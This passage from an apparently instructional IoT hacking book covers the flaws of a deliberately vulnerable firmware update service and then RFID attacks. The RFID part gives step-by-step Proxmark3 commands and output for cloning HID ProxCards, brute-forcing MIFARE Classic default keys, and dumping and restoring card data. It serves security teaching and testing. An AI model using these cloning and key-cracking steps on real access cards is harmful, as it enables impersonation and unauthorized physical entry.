
root@kali:~/firmware_update# ls
client client.c Makefile
root@kali:~/firmware_update# ./client 192.168.10.219
filelen: 6665864
calculated hash: d21843d3abed62af87c781f3a3fda52d
received hash: d21843d3abed62af87c781f3a3fda52d
hashes match 
root@kali:~/firmware_update# ls
client client.c Makefile received_firmware.gz
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The client connects to the server and fetches the firmware file. Notice 
the newly downloaded firmware file in the current directory once the exe-
cution completes. The following listing shows the server’s output. Make sure 
the server is up before you run the client.

user@ubuntu:~/fwupdate$ ./server
Listening on port 31337
Connection from 192.168.10.20
Credentials accepted.
hash: d21843d3abed62af87c781f3a3fda52d
filelen: 6665864

 Note that because this is an emulated service, the client doesn’t actu-
ally update any firmware after downloading the file. 

Vulnerabilities of Firmware Update Services
Let’s now inspect the vulnerabilities in this insecure firmware update 
mechanism. 

Hardcoded Credentials

First, the client authenticates to the server using a hardcoded password. 
The use of hardcoded credentials (such as passwords and cryptographic 
keys) by IoT systems is a huge problem for two reasons: one because of the 
frequency with which they’re found in IoT devices and the other because of 
the consequences of their exploitation. Hardcoded credentials are embed-
ded in the binary files rather than in configuration files. This makes it 
almost impossible for end users or administrators to change them without 
intrusively modifying the binary files in ways that risk breaking them. Also, 
if malicious actors ever discover the hardcoded credential by binary analysis 
or reverse engineering, they can leak it on the internet or in underground 
markets, allowing anyone to access the endpoint. Another problem is that, 
more often than not, these hardcoded credentials are the same for each 
installation of the product, even across different organizations. The reason 
is that it’s easier for vendors to create one master password or key instead 
of unique ones for every device. In the following listing, you can see part of 
the output from running the strings command against the client binary file, 
which reveals the hardcoded password (highlighted):

QUITTING!
firmware_update
firmware update process started with PID: %d
Could not open socket %s
Could not connect to server %s: %s
jUiq1nzpIOaqrWa8R21
Authenticating with %s using key %s
filelen: %d
cannot allocate memory for incoming firmware
calculated hash: 
received hash: 
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hashes match
hash mismatch
./received_firmware.gz
Can't open file for writing %s
Firmware downloaded successfully

Attackers could also discover the key by analyzing the server binary file 
(which would, however, be hosted on the cloud, making it harder to com-
promise). The client would normally reside on the IoT device, making it 
much easier for someone to inspect it. 

You can read more about hardcoded passwords at https://cwe.mitre.org/
data/definitions/798.html.

Insecure Hashing Algorithms

The server and client rely on HMAC-MD5 for calculating a cryptographic 
hash the client uses to validate the firmware file’s integrity. Although the 
MD5 message-digest algorithm is now considered a broken and risky cryp-
tographic hash function, HMAC-MD5 doesn’t suffer from the same weak-
nesses. HMAC is a keyed-hash message authentication code that uses a 
cryptographic hash function (in this case, MD5) and a secret cryptographic 
key (the preshared key in our example). As of today, HMAC-MD5 has not 
been proven to be vulnerable to the practical collision attacks that MD5 
has. Nevertheless, current security best practices suggest that HMAC-MD5 
shouldn’t be included in future cipher suites. 

Unencrypted Communication Channels

A high-risk vulnerability for the update service is the use of an unencrypted 
communication channel. The client and server exchange information using 
a custom cleartext protocol over TCP. This means that if attackers attain a 
man-in-the-middle position on the network, they could capture and read 
the transmitted data. This includes the firmware file and the key used for 
authenticating against the server (Figure 9-6). In addition, because the 
HMAC-MD5 relies on the same cryptographic key, the attacker could mali-
ciously alter the firmware in transit and plant backdoors in it.  

You can read more about this vulnerability at https://cwe.mitre.org/data/
definitions/319.html.

Sensitive Log Files

Last but not least, the client’s logging mechanism includes sensitive infor-
mation (the KEY value) in log files (in this case, the /var/log/messages). We 
showed the exact spot this occurred when walking through the client 
source code. This is a generally insecure practice, because log files typi-
cally have insecure file permissions (often, they’re readable by everyone). 
In many cases, the log output appears in less secure areas of the IoT system, 
such as in a web interface that doesn’t require admin privileges or a mobile 
app’s debugging output. 

https://cwe.mitre.org/data/definitions/798.html
https://cwe.mitre.org/data/definitions/798.html
https://cwe.mitre.org/data/definitions/319.html
https://cwe.mitre.org/data/definitions/319.html
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Figure 9-6: A Wireshark screenshot showing the transmission of sensitive information (an authentication key) 
over an unencrypted TCP protocol

Conclusion
In this chapter, we explored firmware reverse engineering and research. 
Every device has a firmware, and even though analyzing it looks intimidat-
ing at first, you can easily learn to do it by practicing the techniques in this 
chapter. Firmware hacking can extend your offensive security capabilities 
and is a great skill for your tool set. 

Here, you learned the different ways of obtaining and extracting firm-
ware. You emulated a single binary and the whole firmware and loaded a 
vulnerable firmware to a device. Then you researched and identified vul-
nerabilities on an intentionally vulnerable firmware service.

To continue practicing targeting a vulnerable firmware, try the OWASP 
IoTGoat (https://github.com/OWASP/IoTGoat/), a deliberately insecure firm-
ware based on OpenWrt and maintained by OWASP. Or try the Damn 
Vulnerable ARM Router (DVAR), an emulated Linux-based ARM router 
that runs a vulnerable web server (https://blog.exploitlab.net/2018/01/dvar 
-damn-vulnerable-arm-router.html). Those of you who want to try your skills 
on a low-cost ($17) physical device can try the Damn Vulnerable IoT Device 
(DVID). It’s an open source, vulnerably designed IoT device that you can 
build upon a cheap Atmega328p microcontroller and an OLED screen.

https://github.com/OWASP/IoTGoat/
https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html
https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html
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IoT devices don’t always need a continuous 
wireless transmission across long distances. 

Manufacturers often use short-range radio 
technologies to connect devices equipped with 

cheap, low-powered transmitters. These technologies 
allow devices to exchange low volumes of data at lon-
ger intervals, and as a result, they’re well suited for 
IoT devices that want to save power when they’re not 
transmitting any data.

In this chapter, we examine the most popular short-range radio solu-
tion, Radio Frequency Identification (RFID). It’s often used in smart door locks 
and key card tags for user identification. You’ll learn to clone tags using 
a variety of methods, break the tags’ cryptographic keys, and change the 
information stored in the tags. Successfully utilizing these techniques could 
allow attackers to gain illicit access to a facility, for example. Then you’ll 
write a simple fuzzer to discover unknown vulnerabilities in RFID readers.

10
S H O R T  R A N G E  R A D I O : 

A B U S I N G   R F I D
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How RFID Works
RFID was designed to replace barcode technology. It works by transmit-
ting encoded data through radio waves; then it uses this data to identify 
a tagged entity. This entity might be a human, such as an employee who 
wants to access a company building; pets; automobiles passing through toll 
booths; or even simple goods. 

RFID systems come in a broad range of shapes, supported ranges, 
and sizes, but we can usually identify the main components shown in 
Figure 10-1.

Antenna with the RFID
tag in the center

RFID readerAntenna

Figure 10-1: Common RFID system components

The RFID tag’s memory contains information that identifies an entity. 
The reader can read the tag’s information using a scanning antenna, which 
is usually externally connected and typically generates the constant electro-
magnetic field required for this wireless connection. When the tag’s antenna 
is within range of the reader’s, the reader’s electromagnetic field sends an 
electric current to power up the RFID tag. The tag can then receive com-
mands from the RFID reader and send responses containing the identifica-
tion data. 

Several organizations have created standards and regulations that dic-
tate the radio frequency, protocols, and procedures used to share informa-
tion using RFID technologies. The following sections provide an overview 
of these variations, the security principles on which they’re based, and a 
testing methodology for RFID-enabled IoT devices.  

Radio Frequency Bands
RFID relies on a group of technologies that operate in specific radio fre-
quency bands, as listed in Table 10-1. 

Table 10-1: RFID Bands

Frequency band Signal range 

Very low frequency (VLF) (3 kHz–30 kHz)

Low frequency (LF) (30 kHz–300 kHz)

Medium frequency (MF) (300 kHz–3,000 kHz)
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Frequency band Signal range 

High frequency (HF) (3,000 kHz–30 MHz)

Very high frequency (VHF) (30 MHz–300 MHz)

Ultra high frequency (UHF) (300 MHz–3,000 MHz)

Super high frequency (SHF) (3,000 MHz–30 GHz)

Extremely high frequency (EHF) (30 GHz–300 GHz)

Uncategorized (300 GHz–3,000 GHz)

Each of these RFID technologies follows a specific protocol. The best 
technology to use for a system depends on factors such as the signal’s range, 
data transfer rate, accuracy, and implementation cost.

Passive and Active RFID Technologies
An RFID tag can rely on its own power source, such as an embedded 
battery, or receive its power from the reading antenna using the current 
induced from the received radio waves. We characterize these as active or 
passive technologies, as shown in Figure 10-2.  

100 KHz 1 MHz 10 MHz 100 MHz 1 GHz 10 GHz

120–140 KHz 13 MHz 2.4 GHz

LF MF HF VHF UHF

Low frequency:

ISO 11784/5
ISO 18000-2

PASSIVE RF ACTIVE RF

Bluetooth/BLE
Zigbee
Wi-Fi

High frequency:

ISO 15693
ISO 14443
ISO 1800-3
NFC

Figure 10-2: Passive and active technologies along the radio frequency spectrum

Because active devices don’t need external power to start a communi-
cation process, they operate on higher frequencies and can continuously 
broadcast their signal. They can also support connections over longer 
ranges, so they’re often used as tracking beacons. Passive devices operate 
on the three lower frequencies of the RFID spectrum. 
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Some special devices are semi-passive; they contain integrated power 
sources capable of powering the RFID tag microchip at all times without 
requiring power from the reader’s signal. For this reason, the devices 
respond faster and in a greater reading range than passive ones. 

Another way to identify the differences between the existing RFID 
technologies is to look at their radio waves. Low-frequency devices use 
long-range waves, whereas high-frequency devices use short-range waves 
(Figure 10-3). 

Time

A
m
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Ultra high frequency

High frequency

Low frequency

Figure 10-3: Wave forms depending on the frequency

These RFID implementations also use antennas with very different 
dimensions and wire turns, as shown in Table 10-2. The shape of each 
antenna provides the best range and data transfer rate for each wave-
length used.

The Structure of RFID Tags
To understand existing cybersecurity threats in RFID tags, you need to 
understand the inner workings of these devices. Commercial tags usually 
comply with the ISO/IEC 18000 and EPCglobal international standards, 
which define a series of diverse RFID technologies, each using a unique fre-
quency range. 
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Table 10-2: Antennas for Different Frequency Implementations

Low frequency High frequency Ultra high frequency

Tag Classes

EPCglobal divides RFID tags into six categories. A tag in each category 
has all the capabilities listed in the previous category, making it backward 
compatible. 

Class 0 tags are passive tags that operate in UHF bands. The vendor pre-
programs them at the production factory. As a result, you can’t change the 
information stored in their memory. 

Class 1 tags can also operate in HF bands. In addition, they can be writ-
ten only once after production. Many Class 1 tags can also process cyclic 
redundancy checks (CRCs) of the commands they receive. CRCs are a few extra 
bytes at the end of the commands for error detection. 

Class 2 tags can be written multiple times. 
Class 3 tags can contain embedded sensors that can record environmen-

tal parameters, such as the current temperature or the tag’s motion. These 
tags are semi-passive, because although they have an embedded power 
source, such as an integrated battery, they can’t initiate wireless communi-
cation with other tags or readers. 

On the contrary, Class 4 tags can initiate communication with other 
tags of the same class, making them active tags. 

The most advanced tags are the Class 5 tags, which can provide power 
to other tags and communicate with all the previous tag classes. Class 5 tags 
can act as RFID readers.

Information Stored in RFID Tags

An RFID tag’s memory usually stores four kinds of data: (a) the identifica-
tion data, which identifies the entity to which the tag is attached; (b) the 
supplementary data, which provides further details regarding the entity; (c) 
the control data, used for the tag’s internal configuration; and (d) the tag’s 
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manufacturer data, which contains a tag’s Unique Identifier (UID) and details 
regarding the tag’s production, type, and vendor. You’ll find the first two 
kinds of data in all the commercial tags; the last two can differ based on 
the tag’s vendor. 

The identification data includes user-defined fields, such as bank 
accounts, product barcodes, and prices. It also includes a number of regis-
ters specified by the standards to which the tags adhere. For example, the 
ISO standard specifies the Application Family Identifier (AFI) value, a code 
that indicates the kind of object the tag belongs to. A tag for traveling bag-
gage would use a different predefined AFI than a tag for a library book. 
Another important register, also specified by ISO, is the Data Storage Format 
Identifier (DSFID), which defines the logical organization of the user data. 

The supplementary data can handle other details defined by the stan-
dards, such as Application Identifiers (AIs), ANSI MH-10 Data Identifiers 
(DIs), and ATA Text Element Identifiers (TEIs), which we won’t discuss here.

RFID tags also support different kinds of security controls, depending 
on the tag vendor. Most have mechanisms that restrict the read or write 
operations on each user memory block and on the special registers contain-
ing the AFI and DSFID values. These lock mechanisms use data stored in 
the control memory and have default passwords preconfigured by the ven-
dor but allow the tag owners to configure custom passwords.

Low-Frequency RFID Tags
Low-frequency RFID devices include key cards that employees use to open 
doors, small glass tube tags implanted into pets, and temperature-resistant 
RFID tags for laundry, industrial, and logistics applications. These devices rely 
on passive RFID technology and operate in a range of 30 kHz to 300 kHz, 
although most of the devices that people use daily to track, access, or validate 
a task operate in the narrower range of 125 kHz to 134 kHz. The low- 
frequency tags have low memory capacities, a slow data transfer rate, and 
water and dust resistance, unlike the high frequency technologies.

Often, we use low-frequency tags for access control purposes. The reason 
is that their low memory capacity can handle only small amounts of data, 
such as IDs used to authenticate. One of the most sophisticated tags, HID 
Global’s ProxCard (Figure 10-4), uses a small number of bytes to support 
unique IDs that a tag management system can use for user authentication. 

Figure 10-4: The HID ProxCard II,  
a popular low-frequency RFID tag
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Other companies, such as NXP with its Hitag2 tags and readers, intro-
duced further security controls; for example, a mutual authentication protocol 
that uses a shared key to protect communications between the tag and reader. 
This technology is very popular in vehicle immobilization applications.

High-Frequency RFID Tags
You can find high-frequency RFID implemented globally in applications 
like payment systems, making it a game changer in the contactless world. 
Many people refer to this technology as Near Field Communication (NFC), a 
term for devices operating over the 13.56 MHz frequency. Some of the most 
important NFC technologies are the MIFARE cards and the NFC microcon-
trollers integrated into mobile devices. 

One of the most popular high-frequency tag vendors is NXP, which 
controls approximately 85 percent of the contactless market. Mobile devices 
use many of its NFC chips. For example, the new versions of the iPhone 
XS and XS Max implement the NXP 100VB27 controller. This allows the 
iPhones to communicate with other NFC transponders and perform tasks 
such as contactless payments. Additionally, NXP has some low-cost and 
well-documented microcontrollers, such as the PN532, used for research 
and development purposes. The PN532 supports reading and writing, peer-
to-peer communication, and emulation modes. 

NXP also designs the MIFARE cards, which are contactless smart cards 
based on ISO/IEC 14443. The MIFARE brand has different families, such 
as MIFARE Classic, MIFARE Plus, MIFARE Ultralight, MIFARE DESFire, 
and MIFARE SAM. According to NXP, these cards implement AES and 
DES/Triple-DES encryption methods, whereas some versions, such as 
MIFARE Classic, MIFARE SAM, and MIFARE Plus, also support its propri-
etary encryption algorithm Crypto-1.

Attacking RFID Systems with Proxmark3
In this section, we’ll walk through a number of attacks against RFID tags. 
We’ll clone the tags, allowing you to impersonate a legitimate person or 
object. We’ll also circumvent the cards’ protections to tamper with their 
stored memory contents. In addition, we’ll build a simple fuzzer that you 
can use against devices with RFID reading capabilities. 

As a card reader, we’ll use Proxmark3, a general-purpose RFID tool 
with a powerful field-programmable gate array (FPGA) microcontroller 
capable of reading and emulating low-frequency and high-frequency tags 
(https://github.com/Proxmark/proxmark3/wiki). Proxmark3 currently costs less 
than $300. You can also use the Proxmark3 EVO and Proxmark3 RDV 4 
versions of the tool. To read tags with Proxmark3, you’ll need antennas 
designed for the frequency band of the specific card you’re reading (ref-
erence Table 10-2 for images of the antenna types). You can obtain these 
antennas from the same distributors that offer the Proxmark3 device. 

We’ll also show you how to use free apps to transform any NFC-enabled 
Android device into a card reader for MIFARE cards. 
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To perform these tests, we’ll use an HID ProxCard, as well as a number 
of unprogrammed T55x7 tags and NXP MIFARE Classic 1KB cards, which 
cost less than $2 each.

Setting Up Proxmark3
To use Proxmark3, you’ll first have to install a number of required packages 
on your computer. Here’s how to do so using apt :

$ sudo apt install git build-essential libreadline5 libreadline-dev gcc-arm-
none-eabi libusb-0.1-4 libusb-dev libqt4-dev ncurses-dev perl pkg-config 
libpcsclite-dev pcscd

Next, use the git command to download the source code from the 
Proxmark3 remote repository. Then navigate to its folder and run the make 
command to build the required binaries:

$ git clone https://github.com/Proxmark/proxmark3.git
$ cd proxmark3
$ make clean && make all

Now you’re ready to plug the Proxmark3 into your computer using a 
USB cable. Once you’ve done so, identify the serial port to which the device 
is connected using the dmesg command, available in Kali Linux. You can use 
this command to get information about the hardware on a system:

$ dmesg
[44643.237094] usb 1-2.2: new full-speed USB device number 5 using uhci_hcd
[44643.355736] usb 1-2.2: New USB device found, idVendor=9ac4, idProduct=4b8f, bcdDevice= 0.01
[44643.355738] usb 1-2.2: New USB device strings: Mfr=1, Product=2, SerialNumber=0
[44643.355739] usb 1-2.2: Product: proxmark3
[44643.355740] usb 1-2.2: Manufacturer: proxmark.org
[44643.428687] cdc_acm 1-2.2:1.0: ttyACM0: USB ACM device

Based on the output, we know the device is connected on the /dev 
/ttyACM0 serial port.

Updating Proxmark3
Because Proxmark3’s source code changes frequently, we recommend that 
you update the device before using it. The device software consists of the 
operating system, the bootloader image, and the FPGA image. The boot-
loader executes the operating system, whereas the FPGA image is the code 
that executes in the device’s embedded FPGA.

The latest bootloader version is in the bootrom.elf file in the source code 
folders. To install it, hold down the Proxmark3’s button while the device 
is connected to your computer until you see a red and yellow light on the 
device. Then, while holding the button, use the flasher binary in the source 
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code folder to install the image. As parameters, pass it Proxmark3’s serial 
interface and the -b parameter to define the bootloader’s image path:

$ ./client/flasher /dev/ttyACM0 -b ./bootrom/obj/bootrom.elf
Loading ELF file '../bootrom/obj/bootrom.elf'...
Loading usable ELF segments:
0: V 0x00100000 P 0x00100000 (0x00000200->0x00000200) [R X] @0x94
1: V 0x00200000 P 0x00100200 (0x00000c84->0x00000c84) [R X] @0x298
Waiting for Proxmark to appear on /dev/ttyACM0 .
Found.
Flashing...
Writing segments for file: ../bootrom/obj/bootrom.elf
0x00100000..0x001001ff [0x200 / 1 blocks]. OK
0x00100200..0x00100e83 [0xc84 / 7 blocks]....... OK
Resetting hardware...
All done.
Have a nice day!

You can find the latest versions of the operating system and FPGA 
image in the same file, named fullimage.elf, in the source code fold-
ers. If you’re using Kali Linux, you should also stop and disable the 
ModemManager. The ModemManager is the daemon that controls mobile 
broadband devices and connections in many Linux distributions; it can 
interfere with connected devices, such as Proxmark3. To stop and disable 
this service, use the systemectl command, which is preinstalled in Kali 
Linux:

# systemctl stop ModemManager
# systemctl disable ModemManager

You can use the Flasher tool to complete the flash again, this time with-
out the -b parameter.

# ./client/flasher /dev/ttyACM0 armsrc/obj/fullimage.elf 
Loading ELF file 'armsrc/obj/fullimage.elf'...
Loading usable ELF segments:
0: V 0x00102000 P 0x00102000 (0x0002ef48->0x0002ef48) [R X] @0x94
1: V 0x00200000 P 0x00130f48 (0x00001908->0x00001908) [RW ] @0x2efdc
Note: Extending previous segment from 0x2ef48 to 0x30850 bytes
Waiting for Proxmark to appear on /dev/ttyACM0 .
Found.
Flashing...
Writing segments for file: armsrc/obj/fullimage.elf
0x00102000..0x0013284f [0x30850 / 389 blocks]......... OK
Resetting hardware...
All done.
Have a nice day!

The Proxmark3 RVD 4.0 also supports a command to automate the full 
process of updating the bootloader, the operating system, and the FPGA:

$ ./pm3-flash-all
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To find out if the update succeeded, execute the Proxmark3 binary, which 
is located in the client folder, and pass it the device’s serial interface: 

# ./client/proxmark3 /dev/ttyACM0 
Prox/RFID mark3 RFID instrument          
bootrom: master/v3.1.0-150-gb41be3c-suspect 2019-10-29 14:22:59
os: master/v3.1.0-150-gb41be3c-suspect 2019-10-29 14:23:00
fpga_lf.bit built for 2s30vq100 on 2015/03/06 at 07:38:04
fpga_hf.bit built for 2s30vq100 on 2019/10/06 at 16:19:20
SmartCard Slot: not available
uC: AT91SAM7S512 Rev B          
Embedded Processor: ARM7TDMI          
Nonvolatile Program Memory Size: 512K bytes. Used: 206927 bytes (39%). Free: 317361 bytes 
(61%).          
Second Nonvolatile Program Memory Size: None          
Internal SRAM Size: 64K bytes          
Architecture Identifier: AT91SAM7Sxx Series          
Nonvolatile Program Memory Type: Embedded Flash Memory          
proxmark3>

The command should output the device’s attributes, such as the embed-
ded processor type, the memory size, and the architecture identifier, fol-
lowed by the prompt.

Identifying Low- and High-Frequency Cards
Now let’s identify specific kinds of RFID cards. The Proxmark3 software 
comes with a preloaded list of known RFID tags for different vendors, 
and it supports vendor-specific commands that you can use to control 
these tags. 

Before using the Proxmark3, connect it to an antenna that matches the 
card type. If you’re using the newer Proxmark3 RVD 4.0 model, the anten-
nas will look slightly different because they’re more compact. Consult the 
vendor’s documentation to select the right one for each case.

Proxmark3 commands all begin with either the lf parameter, for 
interacting with the low-frequency cards, or the hf parameter, for interact-
ing with the high-frequency cards. To identify nearby known tags, use the 
search parameter. In the following example, we use Proxmark3 to identify a 
Hitag2 low-frequency tag:

proxmark3> lf search 
Checking for known tags: 
Valid Hitag2 tag found - UID: 01080100   

The next command identifies an NXP ICode SLIX high-frequency tag:

proxmark3> hf search    
UID:               E0040150686F4CD5          
Manufacturer byte: 04, NXP Semiconductors Germany          
Chip ID:           01, IC SL2 ICS20/ICS21(SLI) ICS2002/ICS2102(SLIX)          
Valid ISO15693 Tag Found - Quiting Search
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Depending on the tag vendor, the command’s output might also 
include the manufacturer, microchip identification number, or known tag-
specific vulnerabilities.

Low-Frequency Tag Cloning
Let’s clone a tag, starting with a low-frequency one. The low-frequency 
cards available on the market include HID ProxCard, Cotag, Awid, Indala, 
and Hitag, among others, but HID ProxCards are the most common. In 
this section, we’ll clone it using Proxmark3 and then create a new tag con-
taining the same data. You could use this tag to impersonate the legitimate 
tagged entity, such as an employee, and unlock the corporate building’s 
smart door lock.

To start, use the low-frequency search command to identify cards that 
are in Proxmark3’s range. If the card in range is an HID, the output will 
typically look like this: 

proxmark3> lf search
Checking for known tags:
HID Prox TAG ID: 2004246b3a (13725) - Format Len: 26bit - FC: 18 - Card: 13725          
[+] Valid HID Prox ID Found!

Next, examine the supported vendor-specific tag commands for HID 
devices by providing hid as a parameter:

proxmark3> lf hid
help            this help          
demod        demodulate HID Prox tag from the GraphBuffer          
read            attempt to read and extract tag data          
clone          clone HID to T55x7          
sim             simulate HID tag         
wiegand     convert facility code/card number to Wiegand code          
brute          bruteforce card number against reader          

Now try to read the tag data:

proxmark3> lf hid read
HID Prox TAG ID: 2004246b3a (13725) - Format Len: 26bit - FC: 18 - Card: 13725

The command should return the HID tag’s exact ID. 
To clone this tag with the Proxmark3, use a blank or previously unpro-

grammed T55x7 card. These cards are normally compatible with EM4100, 
HID, and Indala technologies. Position the T55x7 card over the low-fre-
quency antenna and execute the following command, passing it the ID of 
the tag you want to clone:

proxmark3> lf hid clone 2004246b3a
Cloning tag with ID 2004246b3a    

Now you could use the T55x7 card as though it were the original card.
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High-Frequency Tag Cloning
Although high-frequency technologies implement better security than low-
frequency ones, inadequate or old implementations could be vulnerable to 
attacks. For example, the MIFARE Classic cards are among the most vulner-
able high-frequency cards, because they use default keys and an insecure 
proprietary cryptographic mechanism. In this section, we’ll walk through 
the process of cloning a MIFARE Classic card.

MIFARE Classic Memory Allocation 

To understand what MIFARE Classic’s possible attack vectors are, let’s 
analyze the memory allocation in the simplest MIFARE card: the MIFARE 
Classic 1KB (Figure 10-5).
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Figure 10-5: MIFARE Classic memory map 

The MIFARE Classic 1KB card has 16 sectors. Each sector occupies four 
blocks, and each block contains 16 bytes. The manufacturer saves the card’s 
UID in Sector 0 of Block 0, which you can’t alter. 

To access each sector, you’ll need two keys, A and B. The keys can be dif-
ferent, but many implementations use default keys (FFFFFFFFFFFF is a common 
one). These keys get stored in Block 3 of each sector, called the sector trailer. 
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The sector trailer also stores the access bits, which establish the read and 
write permissions on each block using the two keys. 

To understand why having two keys is useful, let’s consider an example: 
the cards we use to ride a subway system. These cards might allow an RFID 
reader to read all data blocks with either key A or B but write to them only 
with key B. As a result, the RFID reader at the turnstile, which has only key 
A, can read the card’s data, unlock the turnstile for users with sufficient 
balance, and decrement their balance. But you’d need a special terminal 
equipped with key B to write, or increment, the users’ balance. The station 
cashier might be the only person who can operate this terminal.

The access bits are located between the two key types. If a company mis-
configures these bits—for example, by unintentionally granting write per-
missions—adversaries could tamper with the sector’s block data. Table 10-3 
lists the possible access control permissions that you could define using 
these access bits.

Table 10-3: MIFARE Access Bits

Access bits Valid access control permissions Block Description

C13, C23, C33, Read, write 3 Sector trailer

C12, C22, C32 Read, write, increment, decrement,  
transfer, restore

2 Data block

C11, C21, C31 Read, write, increment, decrement,  
transfer, restore

1 Data block

C10, C20, C30, Read, write, increment, decrement,  
transfer, restore

0 Data block

You could use various methods to exploit the MIFARE Classic cards. 
You might use special hardware, such as the Proxmark3 or an Arduino with 
a PN532 board. Even less sophisticated hardware, as simple as an Android 
phone, might be enough to copy, clone, and replay a MIFARE Classic card, 
but many hardware researchers prefer the Proxmark3 to other solutions 
because of its preloaded commands. 

To view the attacks you could perform against the MIFARE Classic 
card, use the hf mf command: 

proxmark3> hf mf
help                This help          
darkside         Darkside attack. read parity error messages.          
nested             Nested attack. Test nested authentication          
hardnested     Nested attack for hardened MIFARE cards          
keybrute         J_Run's 2nd phase of multiple sector nested authentication key recovery          
nack               Test for MIFARE NACK bug          
chk                 Check keys          
fchk                Check keys fast, targets all keys on card          
decrypt           [nt] [ar_enc] [at_enc] [data] - to decrypt snoop or trace          
-----------                
dbg                 Set default debug mode   
…
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Most of the listed commands implement brute-force attacks against 
the authentication protocol used (such as the chk and fchk commands) or 
attacks for known vulnerabilities (such as the nack, darkside, and hardnested 
commands). We’ll use the darkside command in Chapter 15.

Cracking the Keys with a Brute-Force Attack 

To read the MIFARE card’s memory blocks, you need to find the keys for 
each of the 16 sectors. The simplest way to do this is to perform a brute-force 
attack and attempt to authenticate using a list of default keys. Proxmark3 has 
a special command for this attack, called chk (an abbreviation of the word 
check). This command uses a list of known passwords to try to read the card. 

To perform this attack, first select the commands in the high-frequency 
band using the hf parameter, followed by the mf parameter, which will show 
you the commands for MIFARE cards. Then add the chk parameter to select 
the brute-force attack. You must also provide the number of blocks that you’re 
targeting. This can be a parameter between 0x00 and 0xFF, or it can be the 
* character, which selects all the blocks, followed by a number that specifies 
the tag’s memory size (0 = 320 bytes, 1 = 1KB, 2 = 2KB, and 4 = 4KB). 

Next, provide the key type: A for type A keys, B for type B keys, and ? 
for testing both types of keys. You can also use the d parameter to write the 
identified keys to a binary file or the t parameter to load the identified keys 
directly to the Proxmark3 emulator memory for further use, such as read-
ing specific blocks or sectors. 

Then you can specify either a space-separated list of keys or a file that 
contains these keys. Proxmark3 contains a default list in the source code 
folder at ./client/default_keys.dic. If you don’t provide your own list or a file 
with the keys, Proxmark3 will use this file to test the 17 most common 
default keys.

Here is an example run of the brute-force attack:

$ proxmark3> hf mf chk *1 ? t ./client/default_keys.dic
--chk keys. sectors:16, block no:  0, key type:B, eml:n, dmp=y checktimeout=471 us          
chk custom key[ 0] FFFFFFFFFFFF          
chk custom key[ 1] 000000000000          
…          
chk custom key[91] a9f953def0a3          
To cancel this operation press the button on the proxmark...          
--o.          
|---|----------------|---|----------------|---|          
|sec|key A           |res|key B           |res|          
|---|----------------|---|----------------|---|          
|000|  FFFFFFFFFFFF  | 1 |  FFFFFFFFFFFF  | 1 |          
|001|  FFFFFFFFFFFF  | 1 |  FFFFFFFFFFFF  | 1 |          
|002|  FFFFFFFFFFFF  | 1 |  FFFFFFFFFFFF  | 1 |          
|003|  FFFFFFFFFFFF  | 1 |  FFFFFFFFFFFF  | 1 |           
…
|014|  FFFFFFFFFFFF  | 1 |  FFFFFFFFFFFF  | 1 |          
|015|  FFFFFFFFFFFF  | 1 |  FFFFFFFFFFFF  | 1 |          
|---|----------------|---|----------------|---|          
32 keys(s) found have been transferred to the emulator memory          
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If the command succeeds, it displays a table with the A and B keys for 
the 16 sectors. If you used the b parameter, Proxmark3 stores the keys in a 
file named dumpedkeys.bin , and the output would look like this:

Found keys have been dumped to file dumpkeys.bin. 

The latest versions of Proxmark3, such as RVD 4.0, support an opti-
mized version of the same command, called fchk. It takes two parameters, 
the tag’s memory size and the t (transfer) parameter, which you can use to 
load the keys to the Proxmark3 memory:

proxmark3> hf mf fchk 1 t
[+] No key specified, trying default keys          
[ 0] FFFFFFFFFFFF          
[ 1] 000000000000          
[ 2] a0a1a2a3a4a5          
[ 3] b0b1b2b3b4b5          
…

Reading and Cloning the Card Data

Once you know the keys, you can start reading sectors or blocks using the 
rdbl parameter. The following command reads block number 0 with the A 
key FFFFFFFFFFFF: 

proxmark3> hf mf rdbl 0 A FFFFFFFFFFFF
--block no:0, key type:A, key:FF FF FF FF FF FF            
data: B4 6F 6F 79 CD 08 04 00 01 2A 51 62 0B D9 BB 1D           

You can read a complete sector, using the same methodology, with the 
hf mf rdsc command:

proxmark3> hf mf rdsc 0 A FFFFFFFFFFFF
--sector no:0 key type:A key:FF FF FF FF FF FF            
isOk:01          
data   : B4 6F 6F 79 CD 08 04 00 01 2A 51 62 0B D9 BB 1D           
data   : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00           
data   : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00           
trailer: 00 00 00 00 00 00 FF 07 80 69 FF FF FF FF FF FF           
Trailer decoded:          
Access block 0: rdAB wrAB incAB dectrAB          
Access block 1: rdAB wrAB incAB dectrAB          
Access block 2: rdAB wrAB incAB dectrAB          
Access block 3: wrAbyA rdCbyA wrCbyA rdBbyA wrBbyA          
UserData: 69 

To clone a MIFARE card, use the dump parameter. This parameter writes 
a file with all the information from the original card. You could save and 
reuse that file later to create a new, fresh copy of the original card.

The dump parameter lets you assign the name of a file or the type of 
technology that you want to dump. Just pass it the card’s memory size. In 
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this example, we use 1 for the 1KB memory size (although because 1 is the 
default size, we could have omitted this). The command uses the keys we 
stored in the dumpkeys.bin file to access the card:

proxmark3> hf mf dump 1
[=] Reading sector access bits...          
...
[+] Finished reading sector access bits          
[=] Dumping all blocks from card...          
[+] successfully read block  0 of sector  0.          
[+] successfully read block  1 of sector  0.          
...         
[+] successfully read block  3 of sector 15.          
[+] time: 35 seconds
[+] Succeeded in dumping all blocks
[+] saved 1024 bytes to binary file hf-mf-B46F6F79-data.bin 

This command stores the data in a file named hf-mf-B46F6F79-data.bin. 
You can transfer files in the .bin format directly to another RFID tag. 

Some Proxmark3 firmwares maintained by third-party developers 
will store the data in two more files with .eml and .json extensions. You 
could load the .eml file to the Proxmark3 memory for further use, and you 
could use the .json file with third-party software and other RFID emula-
tion devices, such as the ChameleonMini. You can easily convert this data 
from one file format to another, either manually or by using a number of 
automated scripts that we’ll discuss in “Automating RFID Attacks Using the 
Proxmark3 Scripting Engine” on page 263. 

To copy the stored data to a new card, place the card within range of 
the Proxmark3’s antenna and use Proxmark3’s restore parameter:

proxmark3> hf mf restore
[=] Restoring hf-mf-B46F6F79-data.bin  to card          
Writing to block   0: B4 6F 6F 79 CD 08 04 00 01 2A 51 62 0B D9 BB 1D           
[+] isOk:00          
Writing to block   1: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00           
[+] isOk:01          
